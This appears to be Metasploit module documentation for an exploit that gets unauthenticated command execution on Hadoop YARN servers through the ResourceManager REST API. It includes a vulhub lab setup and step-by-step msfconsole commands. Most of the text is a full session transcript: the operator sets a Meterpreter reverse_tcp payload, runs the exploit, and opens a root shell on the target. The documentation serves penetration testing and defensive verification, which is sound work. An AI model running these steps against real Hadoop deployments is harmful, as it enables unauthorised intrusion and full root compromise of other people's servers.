## Description

This module uses built-in functionality to execute arbitrary commands on an unsecured Hadoop server which is
not configured for strong authentication, via Hadoop's standard ResourceManager REST API.

## Vulnerable Application

**Vulnerable Application Link**

- docker

https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

### Vulnerable Application Installation Setup.

Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up -d`

## Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: ```use exploit/linux/http/hadoop_unauth_exec```
  4. Do: ``set rhost x.x.x.x``
  5. Do: ``set rport 8088``
  6. Do: ``check``

``[+] 192.168.77.141:8088 The target is vulnerable.``

  7. Do: `set payload linux/x86/meterpreter/reverse_tcp`
  8. Do: ``exploit``
  9. You should get a shell.


## Scenarios

```
msf > use exploit/linux/http/hadoop_unauth_exec
msf exploit(linux/http/hadoop_unauth_exec) > show options

Module options (exploit/linux/http/hadoop_unauth_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                     yes       The target address
   RPORT    8088             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141
rhost => 192.168.77.141
msf exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/http/hadoop_unauth_exec) > show options

Module options (exploit/linux/http/hadoop_unauth_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.77.141   yes       The target address
   RPORT    8088             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141
lhost => 192.168.77.141
msf exploit(linux/http/hadoop_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.77.141:4444
[*] Sending Command
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Sending stage (853256 bytes) to 172.20.0.3
[*] Meterpreter session 1 opened (192.168.77.141:4444 -> 172.20.0.3:34138) at 2018-05-15 03:21:17 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
